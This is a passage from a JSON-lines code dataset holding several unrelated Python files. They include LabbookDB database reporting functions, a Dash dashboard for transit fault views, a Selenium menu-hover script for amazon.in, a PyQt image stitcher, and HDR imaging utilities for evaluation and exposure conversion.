df.loc[df[\"Animal_id\"]==subject,\"date\"]-onsets.loc[onsets[\"Animal_id\"]==subject, start_date_label].values[0]\n\t\t\texcept IndexError:\n\t\t\t\tdf.drop(df[df[\"Animal_id\"]==subject].index, inplace=True)\n\t\tdf = pd.merge(df, onsets, on='Animal_id', how='outer')\n\t\tif rounding:\n\t\t\tdf['relative_date'] = df['relative_date'].dt.round(rounding)\n\tif rounding:\n\t\tdf['date'] = df['date'].dt.round(rounding)\n\treturn df\n\ndef further_cages(db_path):\n\t\"\"\"\n\tReturns cage numbers that should be selected for incoming cages.\n\n\tParameters\n\t----------\n\t\tdb_path : path to database file to query (needs to be protocolizer-style)\n\t\"\"\"\n\n\tdf = selection.parameterized(db_path, \"cage list\")\n\n\tcages = df[\"Cage_id\"].dropna().tolist()\n\tcages = list(set([int(i) for i in cages]))\n\n\tlast_cage = cages[-1]\n\tnext_cage = last_cage+1\n\tskipped_cages=[]\n\tfor cage in cages:\n\t\tcage_increment = 1\n\t\twhile True:\n\t\t\tif cage+cage_increment >= last_cage:\n\t\t\t\tbreak\n\t\t\tif cage+cage_increment not in cages:\n\t\t\t\tskipped_cages.append(cage+cage_increment)\n\t\t\t\tcage_increment += 1\n\t\t\telse:\n\t\t\t\tbreak\n\n\tif not skipped_cages:\n\t\tskipped_cages = [\"None\"]\n\n\tprint(\"Next open cage number: {0}\\nSkipped cage numbers: {1}\".format(next_cage, \", \".join([str(i) for i in skipped_cages])))\n\treturn\n\ndef overview(db_path,\n\tdefault_join=False,\n\tfilters=[],\n\tjoin_types=[],\n\trelative_dates=True,\n\tsave_as=\"\",\n\trounding='D',\n\trounding_type='round',\n protect_duplicates=['Animal_id','Cage_id','Cage_Treatment_start_date', 'Cage_TreatmentProtocol_code'],\n\t):\n\t\"\"\"Returns an overview of events per animal.\n\n\tParameters\n\t----------\n\n\tdb_path : string\n\tPath to the database file to query.\n\n\touterjoin_all : bool\n\tPased as outerjoin_all to `..query.get_df()`\n\n\tfilters : list of list, optional\n\tA list of lists giving filters for the query. It is passed to ..query.get_df().\n\n\tsaturate : {list of str, list of dict}, optional\n\tA list of dictionaries or strings specifying by which criteria to saturate cells. It is passed to behaviopy.timetable.multi_plot()\n\n\tsave_df : string, optional\n\tPath under which to save the plotted dataframe. \".csv\" will be appended to the string, and the data will be saved in CSV format.\n\n\twindow_end : string\n\tA datetime-formatted string (e.g. \"2016,12,18\") to apply as the timetable end date (overrides autodetected end).\n\n\trounding_type : {'round','floor','ceil'}, optional\n\t\tWhether to round the dates (splits e.g. days apart at noon, hours at 30 minutes, etc.) or to take the floor or the ceiling.\n\t\"\"\"\n\n\tdf = selection.timetable(db_path, filters, default_join, join_types=join_types)\n\tanimals = list(df[\"Animal_id\"].unique())\n\tcagestays = selection.cage_periods(db_path, animal_filter=animals)\n\tdf = concurrent_cagetreatment(df, cagestays, protect_duplicates=protect_duplicates)\n\n\tif relative_dates:\n\t\tif isinstance(relative_dates, dict):\n\t\t\tdf['reference_date'] = ''\n\t\t\tdf['reference_date'] = df['reference_date'].astype('datetime64[ns]')\n\t\t\treference_column = list(relative_dates.keys())[0]\n\t\t\tmatching_column = list(list(relative_dates.values())[0].keys())[0]\n\t\t\treference_matching = list(list(relative_dates.values())[0].values())[0]\n\t\t\tfor subject in df['Animal_id'].unique():\n\t\t\t\treference_date = df[(df['Animal_id']==subject)&(df[matching_column]==reference_matching)][reference_column].values[0]\n\t\t\t\tdf.loc[df['Animal_id']==subject,'reference_date'] = reference_date\n\t\telif isinstance(relative_dates, bool):\n\t\t\tdf['reference_date'] = df['Cage_Treatment_start_date']\n\t\telif \",\" in relative_dates or \"-\" in relative_dates:\n\t\t\tprint('WARNING: The `relative_dates` value provided could be interpreted as a date. This feature is however not yet supported. Dates will be made relative to \"Cage_Treatment_start_date\" instead!')\n\t\t\tdf['reference_date'] = df['Cage_Treatment_start_date']\n\t\telse:\n\t\t\tdf['reference_date'] = df[relative_dates]\n\t\tdf = relativize_dates(df,\n\t\t\trounding=rounding,\n\t\t\trounding_type=rounding_type,\n\t\t\treference_date=False,\n\t\t\t)\n\n\tif save_as:\n\t\tsave_as = os.path.abspath(os.path.expanduser(save_as))\n\t\tif not(save_as.endswith(\".csv\") or save_as.endswith(\".CSV\")):\n\t\t\tsave_as += \".csv\"\n\t\tdf.to_csv(save_as)\n\n\treturn df\n","repo_name":"TheChymera/LabbookDB","sub_path":"labbookdb/report/tracking.py","file_name":"tracking.py","file_ext":"py","file_size_in_byte":20107,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"7"} +{"seq_id":"14826950959","text":"\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport dash_bootstrap_components as dbc\nfrom dash.dependencies import Input, Output\n\nfrom app import app\nfrom navbar import Navbar\nfrom views import view_scatter \nfrom views import view_vobcfault\nfrom views import view_commLoss\nfrom views import view_switch\nfrom views import view_switch_self_move\nfrom views import view_mileage\nfrom views import view_fault_trend\nimport util\nimport flask\nfrom flask import Flask\nfrom waitress import serve\n\nTILOGO = \"https://transitinsight.com/site_media/images/logo-ti.png\"\n#TILOGO = \"http://localhost:8050/system_icon.png\"\n\nnav = Navbar()\napp.title = \"ViewTrac\"\n\n\napp.layout = html.Div([\n dcc.Location(id='url', refresh=False),\n dbc.Row(\n [\n\n #https://github.com/plotly/dash/issues/71\n \n #dbc.Col(util.get_logo_img(), style={'height':'35px', 'margin-left':'5px', 'margin-top':'5px', 'vertical-align':\"middle\"}),\n dbc.Col(html.Img(src=TILOGO), style={'height':'30px', 'margin-left':'5px', 'margin-top':'3px', 'margin-bottom':'3px', 'vertical-align':\"middle\"}),\n dbc.Col(nav, width = 2, style={'backgroundColor':'red'})\n ],\n justify=\"between\",\n style={'backgroundColor':'lightgrey'}\n ), \n\n html.Div(id='page-content')\n])\nindex_page = html.Div([\n \n dcc.Link(\"VOBC Fault Report\", href=\"/views/vobcfault_v\"),\n html.Br(),\n dcc.Link(\"VOBC Fault Correlation\", href=\"/views/view2\"),\n html.Br(),\n dcc.Link(\"Train Mileage\", href=\"/views/view_mileage\"),\n html.Br(),\n dcc.Link(\"Comm Loss Correlation\", href=\"/views/commLoss\"),\n html.Br(),\n dcc.Link(\"Switch Correlation\", href=\"/views/view_switch\"),\n html.Br(),\n dcc.Link(\"Switch self move Correlation\", href=\"/views/view_switch_self_move\"),\n html.Br(),\n dcc.Link(\"Fault Trend\", href='/views/view_fault_trend'),\n])\n\n@app.callback(Output('page-content', 'children'),\n [Input('url', 'pathname')])\ndef display_page(pathname):\n if pathname == '/views/vobcfault_v':\n return view_vobcfault.layout\n elif pathname == '/views/view2':\n return view_scatter.layout\n elif pathname == '/views/commLoss':\n return view_commLoss.layout\n elif pathname == '/views/view_switch':\n return view_switch.layout\n elif pathname == '/views/view_switch_self_move':\n return view_switch_self_move.layout\n elif pathname == '/views/view_mileage':\n return view_mileage.layout\n elif pathname == '/views/view_fault_trend':\n return view_fault_trend.layout\n else:\n return index_page\n\n@app.server.route('/system_icon.png')\ndef serve_image_system_icon():\n return flask.send_from_directory(\".\", \"ti_logo_small.png\")\n\n\nif __name__ == '__main__':\n app.run_server(debug=True)\n #serve(app.server, host='0.0.0.0', port=80, threads = 16)\n","repo_name":"TransitInsight/vt_analytics","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1865371656","text":"import time\n\nfrom selenium import webdriver\nfrom selenium.webdriver import ActionChains\n\n\nclass Scenario4():\n global driver\n driver = webdriver.Chrome()\n driver.implicitly_wait(10)\n driver.maximize_window()\n driver.get(\"https://www.amazon.in/\")\n def move_to_element(self):\n act = ActionChains(driver)\n try:\n elements = driver.find_element_by_xpath(\"//span[text()='Electronics']\")\n act.move_to_element(elements).perform()\n time.sleep(3)\n driver.find_element_by_xpath(\"(//a[text()='Mi'])[1]\").click()\n except Exception as e:\n print(e)\n print(\"done\")\n\nScenario4.move_to_element()","repo_name":"http-www-testyantra-com/Surbhi_Sony","sub_path":"training_day3/amazon_scenario/scenario4.py","file_name":"scenario4.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"73469899744","text":"import os\nimport glob\nimport pandas as pd\nimport json\nimport numpy as np\nimport tifffile\nimport sys\nimport signal\nfrom PyQt5 import QtGui, QtCore, QtWidgets\nsys.path.append(\"..\")\nfrom microscope_ui.config import HEIGHT, WIDTH, FOV_X_PIXELS, FOV_Y_PIXELS, PIXEL_SCALE\n\nclass ScannedImage(QtWidgets.QGraphicsView):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.scene = QtWidgets.QGraphicsScene()\n self.setScene(self.scene)\n\n self.setDragMode(QtWidgets.QGraphicsView.ScrollHandDrag)\n self.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)\n self.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)\n\n def resizeEvent(self, event):\n # fitInView interferes with scale()\n self.fitInView(self.scene.sceneRect(), QtCore.Qt.KeepAspectRatio)\n\n def keyPressEvent(self, event):\n key = event.key() \n # check if autorepeat (only if doing cancelling-moves) \n if key == QtCore.Qt.Key_Plus:\n self.scale(2,2)\n elif key == QtCore.Qt.Key_Minus:\n self.scale(0.5,0.5)\n\n def addImage(self, pos, image):\n width = image.shape[1]\n height = image.shape[0]\n image = QtGui.QImage(image, width, height, QtGui.QImage.Format_Grayscale8)\n\n # r = self.scene.addRect(pos.x(), pos.y(), width, height)\n # r.setZValue(2)\n\n #qp = QtGui.QPainterPath()\n \n # a = QtGui.QImage(width, height, QtGui.QImage.Format_ARGB32)\n # a.fill(QtGui.QColor(255, 255, 255, 255))\n\n # qp.addRect(r.sceneBoundingRect())\n # for item in r.collidingItems():\n # qp2 = QtGui.QPainterPath()\n # if isinstance(item, QtWidgets.QGraphicsPixmapItem):\n # qp2.addRect(item.sceneBoundingRect())\n # qp3 = qp.intersected(qp2)\n # qp3.closeSubpath()\n # x = qp3.boundingRect().x()-pos.x()\n # y = qp3.boundingRect().y()-pos.y()\n # width = qp3.boundingRect().width()\n # height = qp3.boundingRect().height()\n # if width < height:\n # linearGrad = QtGui.QLinearGradient(0, 0, width, 1)\n # else:\n # linearGrad = QtGui.QLinearGradient(0, 0, 1, height)\n\n # linearGrad.setColorAt(0, QtGui.QColor(0, 0, 0, 255))\n # linearGrad.setColorAt(1, QtGui.QColor(255, 255, 255, 255))\n # p = QtGui.QPainter()\n # p.begin(a)\n # p.setPen(QtCore.Qt.NoPen)\n # p.setBrush(QtGui.QBrush(linearGrad))\n # p.drawRect(x, y, width, height)\n # p.end()\n # self.scene.removeItem(r)\n \n # image.setAlphaChannel(a)\n pixmap = QtGui.QPixmap.fromImage(image)\n\n\n pm = self.scene.addPixmap(pixmap)\n pm.setPos(pos)\n pm.setZValue(1)\n # self.scene.addRect(p)\n\n def save(self, prefix, t, z):\n r = self.scene.itemsBoundingRect()\n width = round(r.width())\n height = round(r.height())\n image = QtGui.QImage(width, height, QtGui.QImage.Format_ARGB32)\n p = QtGui.QPainter(image)\n self.scene.render(p) \n p.end()\n\n\n ptr = image.bits()\n ptr.setsize(width * height * 4)\n arr = np.frombuffer(ptr, np.ubyte).reshape(height, width, 4)\n\n # fname = os.path.join(prefix, f\"image_{t}_{z}.tif\")\n # image.save(fname)\n\n for c in 0, 1, 2:\n fname = os.path.join(prefix, f\"image_t={t}_z={z}_c={c}.tif\")\n r = arr[:, :, c]\n tifffile.imwrite(fname, r)\n\n\n\nclass QApplication(QtWidgets.QApplication):\n def __init__(self, *argv):\n super().__init__(*argv)\n self.main_window = QtWidgets.QMainWindow()\n self.main_window.show()\n\n self.scanned_image = ScannedImage()\n\n self.main_window.setCentralWidget(self.scanned_image)\n\n g = glob.glob(\"movie/*\")\n g.sort()\n prefix = g[-1]\n d=json.load(open(f\"{prefix}/scan_config.json\"))\n r=pd.read_json(f\"{prefix}/tile_config.json\", lines=True)\n for row in r.itertuples():\n fname = os.path.join(prefix, row.fname)\n if os.path.exists(fname):\n data = tifffile.imread(fname)\n x0 = row.x / PIXEL_SCALE\n y0 = row.y / PIXEL_SCALE*2\n print(x0, y0)\n self.scanned_image.addImage(QtCore.QPoint(x0, y0), data)\n\n\n self.scanned_image.scene.setSceneRect(self.scanned_image.scene.itemsBoundingRect())\n\nif __name__ == '__main__':\n signal.signal(signal.SIGINT, signal.SIG_DFL)\n app = QApplication(sys.argv) \n app.exec()","repo_name":"dakoner/microscope_ui","sub_path":"stitcher/scanned_image.py","file_name":"scanned_image.py","file_ext":"py","file_size_in_byte":4715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"39514350633","text":"import os\nimport cv2\nimport torch\nimport importlib\nimport datetime\nimport random\nimport numpy as np\nimport glob\nimport csv\nfrom skimage.metrics import structural_similarity as ssim\nfrom skimage.metrics import peak_signal_noise_ratio as psnr\nfrom imageio import imread, imsave\nimport re\n\n\n\n### IO Related ###\ndef make_file(f):\n if not os.path.exists(f):\n os.makedirs(f)\n #else: raise Exception('Rendered image directory %s is already existed!!!' % directory)\n\ndef make_files(f_list):\n for f in f_list:\n make_file(f)\n\ndef empty_file(name):\n with open(name, 'w') as f:\n f.write(' ')\n\ndef read_list(list_path, ignore_head=False, sort=False):\n lists = []\n with open(list_path) as f:\n lists = f.read().splitlines()\n if ignore_head:\n lists = lists[1:]\n if sort:\n lists.sort(key=natural_keys)\n return lists\n\ndef split_list(in_list, percent=0.99):\n num1 = int(len(in_list) * percent)\n #num2 = len(in_list) - num2\n rand_index = np.random.permutation(len(in_list))\n list1 = [in_list[l] for l in rand_index[:num1]]\n list2 = [in_list[l] for l in rand_index[num1:]]\n return list1, list2\n\ndef write_string(filename, string):\n with open(filename, 'w') as f:\n f.write('%s\\n' % string)\n\ndef save_list(filename, out_list):\n f = open(filename, 'w')\n #f.write('#Created in %s\\n' % str(datetime.datetime.now()))\n for l in out_list:\n f.write('%s\\n' % l)\n f.close()\n\ndef create_dirs(root, dir_list, sub_dirs):\n for l in dir_list:\n makeFile(os.path.join(root, l))\n for sub_dir in sub_dirs:\n makeFile(os.path.join(root, l, sub_dir))\n\n#### String Related #####\ndef atoi(text):\n return int(text) if text.isdigit() else text\n\ndef natural_keys(text):\n '''\n alist.sort(key=natural_keys) sorts in human order\n http://nedbatchelder.com/blog/200712/human_sorting.html\n (See Toothy's implementation in the comments)\n '''\n return [ atoi(c) for c in re.split('(\\d+)', text) ]\n\ndef dict_to_string(dicts, start='\\t', end='\\n'):\n strs = '' \n for k, v in sorted(dicts.items()):\n strs += '%s%s: %s%s' % (start, str(k), str(v), end) \n return strs\n\ndef float_list_to_string(l):\n strs = ''\n for f in l:\n strs += ',%.2f' % (f)\n return strs\n\ndef insert_suffix(name_str, suffix):\n str_name, str_ext = os.path.splitext(name_str)\n return '%s_%s%s' % (str_name, suffix, str_ext)\n\ndef insert_char(mystring, position, chartoinsert):\n mystring = mystring[:position] + chartoinsert + mystring[position:] \n return mystring \n\ndef get_datetime(minutes=False):\n t = datetime.datetime.now()\n dt = ('%02d-%02d' % (t.month, t.day))\n if minutes:\n dt += '-%02d-%02d' % (t.hour, t.minute)\n return dt\n\ndef check_in_list(list1, list2):\n contains = []\n for l1 in list1:\n for l2 in list2:\n if l1 in l2.lower():\n contains.append(l1)\n break\n return contains\n\ndef remove_slash(string):\n if string[-1] == '/':\n string = string[:-1]\n return string\n\n### Debug related ###\ndef check_div_by_2exp(h, w):\n num_h = np.log2(h)\n num_w = np.log2(w)\n if not (num_h).is_integer() or not (num_w).is_integer():\n raise Exception('Width or height cannot be devided exactly by 2exponet')\n return int(num_h), int(num_w)\n\ndef raise_not_defined():\n fileName = inspect.stack()[1][1]\n line = inspect.stack()[1][2]\n method = inspect.stack()[1][3]\n\n print(\"*** Method not implemented: %s at line %s of %s\" % (method, line, fileName))\n sys.exit(1)\n\ndef set_seed():\n torch.manual_seed(0)\n torch.cuda.manual_seed_all(0)\n np.random.seed(0)\n random.seed(0)\n # torch.backends.cudnn.deterministic = False\n torch.backends.cudnn.benchmark = True\n\n\ndef import_module_from_file(full_path_to_module):\n \"\"\"\n Import a module given the full path/filename of the .py file\n Python 3.4\n \"\"\"\n\n module = None\n\n try:\n # Get module name and path from full path\n module_dir, module_file = os.path.split(full_path_to_module)\n module_name, module_ext = os.path.splitext(module_file)\n\n # Get module \"spec\" from filename\n spec = importlib.util.spec_from_file_location(module_name,full_path_to_module)\n module = spec.loader.load_module()\n\n except Exception as ec:\n # Simple error printing\n # Insert \"sophisticated\" stuff here\n print(ec)\n\n finally:\n return module\n\n# Read trainig patches ver.\ndef get_training_patches(root_folder):\n input_ldr_low_path = os.path.join(root_folder, 'input_LDR_low')\n input_ldr_lows = [os.path.join(input_ldr_low_path, filename) for filename in sorted(os.listdir(input_ldr_low_path))]\n input_ldr_mid_path = os.path.join(root_folder, 'input_LDR_mid')\n input_ldr_mids = [os.path.join(input_ldr_mid_path, filename) for filename in sorted(os.listdir(input_ldr_mid_path))]\n input_ldr_high_path = os.path.join(root_folder, 'input_LDR_high')\n input_ldr_highs = [os.path.join(input_ldr_high_path, filename) for filename in sorted(os.listdir(input_ldr_high_path))]\n input_hdr_low_path = os.path.join(root_folder, 'input_HDR_low')\n input_hdr_lows = [os.path.join(input_hdr_low_path, filename) for filename in sorted(os.listdir(input_hdr_low_path))]\n input_hdr_mid_path = os.path.join(root_folder, 'input_HDR_mid')\n input_hdr_mids = [os.path.join(input_hdr_mid_path, filename) for filename in sorted(os.listdir(input_hdr_mid_path))]\n input_hdr_high_path = os.path.join(root_folder, 'input_HDR_high')\n input_hdr_highs = [os.path.join(input_hdr_high_path, filename) for filename in sorted(os.listdir(input_hdr_high_path))]\n gt_ldr_low_path = os.path.join(root_folder, 'gt_LDR_low')\n gt_ldr_lows = [os.path.join(gt_ldr_low_path, filename) for filename in sorted(os.listdir(gt_ldr_low_path))]\n gt_ldr_mid_path = os.path.join(root_folder, 'gt_LDR_mid')\n gt_ldr_mids = [os.path.join(gt_ldr_mid_path, filename) for filename in sorted(os.listdir(gt_ldr_mid_path))]\n gt_ldr_high_path = os.path.join(root_folder, 'gt_LDR_high')\n gt_ldr_highs = [os.path.join(gt_ldr_high_path, filename) for filename in sorted(os.listdir(gt_ldr_high_path))]\n gt_hdr_low_path = os.path.join(root_folder, 'gt_HDR_low')\n gt_hdr_lows = [os.path.join(gt_hdr_low_path, filename) for filename in sorted(os.listdir(gt_hdr_low_path))]\n gt_hdr_mid_path = os.path.join(root_folder, 'gt_HDR_mid')\n gt_hdr_mids = [os.path.join(gt_hdr_mid_path, filename) for filename in sorted(os.listdir(gt_hdr_mid_path))]\n gt_hdr_high_path = os.path.join(root_folder, 'gt_HDR_high')\n gt_hdr_highs = [os.path.join(gt_hdr_high_path, filename) for filename in sorted(os.listdir(gt_hdr_high_path))]\n gt_hdr_path = os.path.join(root_folder, 'gt_HDR')\n gt_hdrs = [os.path.join(gt_hdr_path, filename) for filename in sorted(os.listdir(gt_hdr_path))]\n input_ldr_mid_to_low_path = os.path.join(root_folder, 'input_LDR_mid_to_low')\n input_ldr_mid_to_lows = [os.path.join(input_ldr_mid_to_low_path, filename) for filename in sorted(os.listdir(input_ldr_mid_to_low_path))]\n input_ldr_mid_to_high_path = os.path.join(root_folder, 'input_LDR_mid_to_high')\n input_ldr_mid_to_highs = [os.path.join(input_ldr_mid_to_high_path, filename) for filename in sorted(os.listdir(input_ldr_mid_to_high_path))]\n \n exp_path = os.path.join(root_folder, 'exposure')\n exps = [os.path.join(exp_path, filename) for filename in sorted(os.listdir(exp_path))] \n # print('# gt_hdr : ', len(gt_hdrs)) \n return input_ldr_lows, input_ldr_mids, input_ldr_highs, \\\n input_hdr_lows, input_hdr_mids, input_hdr_highs, \\\n gt_ldr_lows, gt_ldr_mids, gt_ldr_highs, \\\n gt_hdr_lows, gt_hdr_mids, gt_hdr_highs, \\\n gt_hdrs, input_ldr_mid_to_lows, input_ldr_mid_to_highs, exps\n\n# Read full images and randomly crop ver.\ndef get_test_images(root_folder):\n # read a folder, return the complete path\n scenes = sorted(os.listdir(root_folder))\n input_ldr_lows = []; input_ldr_mids = []; input_ldr_highs = [] \n input_hdr_lows = []; input_hdr_mids = []; input_hdr_highs = []\n gt_ldr_lows = []; gt_ldr_mids = []; gt_ldr_highs = []\n gt_hdrs = []; input_ldr_mid_to_lows = []; input_ldr_mid_to_highs = []\n\n print('# scenes: ', len(scenes))\n for scene in scenes:\n scene_path = os.path.join(root_folder, scene)\n ldrs = sorted(glob.glob('%s/*.tif' % scene_path))\n hdrs = sorted(glob.glob('%s/input_*.hdr' % scene_path))\n gt_ldrs = sorted(glob.glob('%s/gt_*.png' % scene_path))\n gt_hdr = '%s/HDRImg.hdr' % scene_path\n input_ldr_mid_to_low = '%s/input_LDR_mid_to_low.png' % scene_path\n input_ldr_mid_to_high = '%s/input_LDR_mid_to_high.png' % scene_path\n input_ldr_lows.append(ldrs[0]); input_ldr_mids.append(ldrs[1]); input_ldr_highs.append(ldrs[2])\n input_hdr_lows.append(hdrs[0]); input_hdr_mids.append(hdrs[1]); input_hdr_highs.append(hdrs[2])\n gt_ldr_lows.append(gt_ldrs[0]); gt_ldr_mids.append(gt_ldrs[1]); gt_ldr_highs.append(gt_ldrs[2])\n gt_hdrs.append(gt_hdr)\n input_ldr_mid_to_lows.append(input_ldr_mid_to_low); input_ldr_mid_to_highs.append(input_ldr_mid_to_high)\n \n return input_ldr_lows, input_ldr_mids, input_ldr_highs, \\\n input_hdr_lows, input_hdr_mids, input_hdr_highs, \\\n gt_ldr_lows, gt_ldr_mids, gt_ldr_highs, gt_hdrs, \\\n input_ldr_mid_to_lows, input_ldr_mid_to_highs\n\n# def get_files(path):\n# # read a folder, return the complete path\n# files = sorted(os.listdir(path))\n# ret = []\n# for file in files:\n# ret.append(os.path.join(path, file))\n# # ret = []\n# # for root, dirs, files in os.walk(path):\n# # for filespath in files:\n# # ret.append(os.path.join(root, filespath))\n# return ret\n\n# def save_model(net, epoch, opt):\n# \"\"\"Save the model at \"checkpoint_interval\" and its multiple\"\"\"\n# model_name = 'deepfillv2_LSGAN_epoch%d_batchsize%d.pth' % (epoch, opt.batch_size)\n# model_name = os.path.join(save_folder, model_name)\n# if opt.multi_gpu == True:\n# if epoch % opt.checkpoint_interval == 0:\n# torch.save(net.module.state_dict(), model_name)\n# print('The trained model is successfully saved at epoch %d' % (epoch))\n# else:\n# if epoch % opt.checkpoint_interval == 0:\n# torch.save(net.state_dict(), model_name)\n# print('The trained model is successfully saved at epoch %d' % (epoch))\ndef print_weights(model):\n for name, param in model.named_parameters():\n if 'conv3_2.bias' in name:\n print(name, param)\n\ndef to_vis(image):\n i = image*255.\n i = i.type(torch.uint8)\n return i\n\ndef tonemap(img):\n # x = 1+5000.*img\n return torch.log(1+5000.*img) / torch.log(torch.tensor(1+5000.).cuda())\n\ndef calc_param(model):\n total_params = sum(p.numel() for p in model.parameters())\n trainable_params = sum(p.numel() for p in model.parameters() if p.requires_grad)\n print('# total parameters: %d K' % (total_params/1000))\n print('# trainable parameters: %d K' % (trainable_params/1000))\n\ndef evaluate(hdr, gt, hdr_tm, gt_tm):\n # mseT = np.mean( (hdr_tm - gt_tm) ** 2 )\n # if mseT == 0:\n # return 100\n # PIXEL_MAX = 1.0 # input -1~1\n # psnrT = 20 * math.log10(PIXEL_MAX / math.sqrt(mseT))\n # mseL = np.mean((gt-hdr)**2)\n # psnrL = -10.*math.log10(mseL)\n hdr = tensor2numpy(hdr); gt = tensor2numpy(gt); hdr_tm = tensor2numpy(hdr_tm); gt_tm = tensor2numpy(gt_tm) \n psnrT = psnr(gt_tm, hdr_tm)\n psnrL = psnr(gt, hdr)\n ssimT = ssim(gt_tm, hdr_tm, multichannel=True, data_range=gt_tm.max() - gt_tm.min())\n ssimL = ssim(gt, hdr, multichannel=True, data_range=gt.max() - gt.min())\n\n return psnrT, psnrL, ssimT, ssimL\n\ndef evaluate_alignment(aligned_low, aligned_mid, aligned_high, gt_low, gt_mid, gt_high):\n aligned_low = tensor2numpy(aligned_low)\n aligned_mid = tensor2numpy(aligned_mid)\n aligned_high = tensor2numpy(aligned_high)\n gt_low = tensor2numpy(gt_low)\n gt_mid = tensor2numpy(gt_mid)\n gt_high = tensor2numpy(gt_high)\n psnrs = (psnr(gt_low, aligned_low) \n + psnr(gt_mid, aligned_mid) \n + psnr(gt_high, aligned_high))/3\n ssims = (ssim(gt_low, aligned_low, multichannel=True) \n + ssim(gt_mid, aligned_mid, multichannel=True) \n + ssim(gt_high, aligned_high, multichannel=True))/3\n return psnrs, ssims\n\ndef make_list(iteration, PSNRs, avg_psnrT, avg_ssimT, avg_psnrL, avg_ssimL):\n list = []\n list.append(iteration)\n list.extend(PSNRs)\n list.extend([avg_psnrT, avg_ssimT, avg_psnrL, avg_ssimL])\n list = tuple(list)\n return list\n\ndef write_csv(csv_path, final_list, nscene):\n if os.path.isfile(csv_path) == False:\n col_0 = []\n col_0.append('epoch')\n col_0.extend(range(1, nscene+1))\n col_0.extend(['psnrT','ssimT','psnrL','ssimL'])\n col_0 = tuple(col_0)\n final_list.insert(0, col_0)\n zipped = list(zip(*final_list)) \n with open(csv_path,'a',newline='') as f:\n wr = csv.writer(f)\n for row in zipped:\n wr.writerow([*row])\n\ndef tensor2numpy(tensor, out_type=np.float32, min_max=(0, 1)):\n # 4D: grid (1, C, H, W), 3D: (C, H, W), 2D: (H, W)\n tensor = tensor.squeeze().float().cpu().clamp_(*min_max)\n tensor = (tensor - min_max[0]) / (min_max[1] - min_max[0])\n\n n_dim = tensor.dim()\n if n_dim == 4:\n img_np = tensor.squeeze().numpy()\n img_np = np.transpose(img_np[[2, 1, 0], :, :], (1, 2, 0))\n elif n_dim == 3:\n img_np = tensor.numpy()\n img_np = np.transpose(img_np[[2, 1, 0], :, :], (1, 2, 0))\n elif n_dim == 2:\n img_np = tensor.numpy()\n else:\n raise TypeError(\n 'Only support 4D, 3D and 2D tensor. But received with dimension: {:d}'.format(n_dim))\n\n if out_type == np.uint8:\n img_np = (img_np * 255.0).round()\n\n return img_np.astype(out_type)\n\ndef ldr2hdr(x, exp):\n return torch.div(torch.pow(x, torch.tensor(2.2,dtype=torch.float32).cuda()), exp.float().view(-1,1,1,1))\n\n\n# Conversion between LDRs and HDRs\ndef pt_ldr_to_hdr(ldr, expo, gamma=2.2):\n #expo = epo.view(-1, 1, 1, 1)\n ldr = ldr.clamp(0, 1)\n ldr = torch.pow(ldr, gamma)\n hdr = ldr / expo\n return hdr\n\ndef pt_ldr_to_hdr_clamp(ldr, expo, gamma=2.2):\n #expo = epo.view(-1, 1, 1, 1)\n ldr = ldr.clamp(1e-8, 1)\n ldr = torch.pow(ldr, gamma)\n hdr = ldr / expo\n return hdr\n\ndef pt_hdr_to_ldr_clamp(hdr, expo, gamma=2.2,):\n ldr = torch.pow((hdr * expo).clamp(1e-8), 1.0 / gamma)\n ldr = ldr.clamp(0, 1)\n return ldr\n\ndef pt_hdr_to_ldr(hdr, expo, gamma=2.2):\n ldr = torch.pow(hdr * expo, 1.0 / gamma)\n ldr = ldr.clamp(0, 1)\n return ldr\n\ndef pt_ldr_to_ldr(ldr, expo_l2h, expo_h2l, gamma=2.2):\n ldr = ldr.clamp(0, 1)\n #if expo_l2h == expo_h2l:\n # return ldr\n gain = torch.pow(expo_h2l / expo_l2h, 1.0 / gamma)\n ldr = (ldr * gain).clamp(0, 1)\n return ldr\n\n \n##### HDR related #####\ndef ldr_to_hdr(img, expo, gamma=2.2):\n img = img.clip(0, 1)\n img = np.power(img, gamma) # linearize\n img /= expo\n return img\n\n\ndef hdr_to_ldr(img, expo, gamma=2.2):\n img = np.power(img * expo, 1.0 / gamma)\n img = img.clip(0, 1)\n return img\n\n\ndef ldr_to_ldr(img, expo_l2h, expo_h2l):\n if expo_l2h == expo_h2l:\n return img\n img = ldr_to_hdr(img, expo_l2h)\n img = hdr_to_ldr(img, expo_h2l)\n return img\n\n\n## Data augmentation used in this work\ndef pt_tone_ref_tone_augment(ldr, d=0.1):\n n, c, h, w = ldr.shape\n # d: [-0.7, 0.7] -> gamma [0.49, 2.0]\n gammas = torch.exp(torch.rand(n, 3, 1, 1) * 2 * d - d)\n gammas = gammas.to(ldr.device)\n ldr_tone_aug = torch.pow(ldr, 1.0 / gammas)\n return ldr_tone_aug\n\ndef pt_tone_ref_add_gaussian_noise(img, stdv1=1e-3, stdv2=1e-2, max_thres=0.08, scale=True):\n stdv = torch.rand(img.shape, device=img.device) * (stdv2 - stdv1) + stdv1\n noise = torch.normal(0, stdv)\n out = torch.pow(img.clamp(0, 1), 2.2) # undo gamma\n out = (out + noise).clamp(0, 1)\n out = torch.pow(out, 1/2.2)\n return out\n\n\ndef perturb_low_expo_imgs(args, ldrs, expos):\n need_aug = (args.aug_prob == 1.0) or (np.random.uniform() < args.aug_prob)\n if not need_aug:\n return\n\n for i in range(args.nexps):\n cur_l_idx = torch.zeros(expos[0].shape[0], device=expos[0].device).byte()\n if i > 0:\n cur_l_idx = cur_l_idx | (expos[i] < expos[i-1]).view(-1)\n if i < args.nframes-1:\n cur_l_idx = cur_l_idx | (expos[i] < expos[i+1]).view(-1)\n\n if cur_l_idx.sum() > 0:\n tone_d = None\n params = {}\n for j in range(i, args.nframes, args.nexps): # e.g., [0,2], [0,3]\n if args.tone_low:\n ldrs[j][cur_l_idx] = 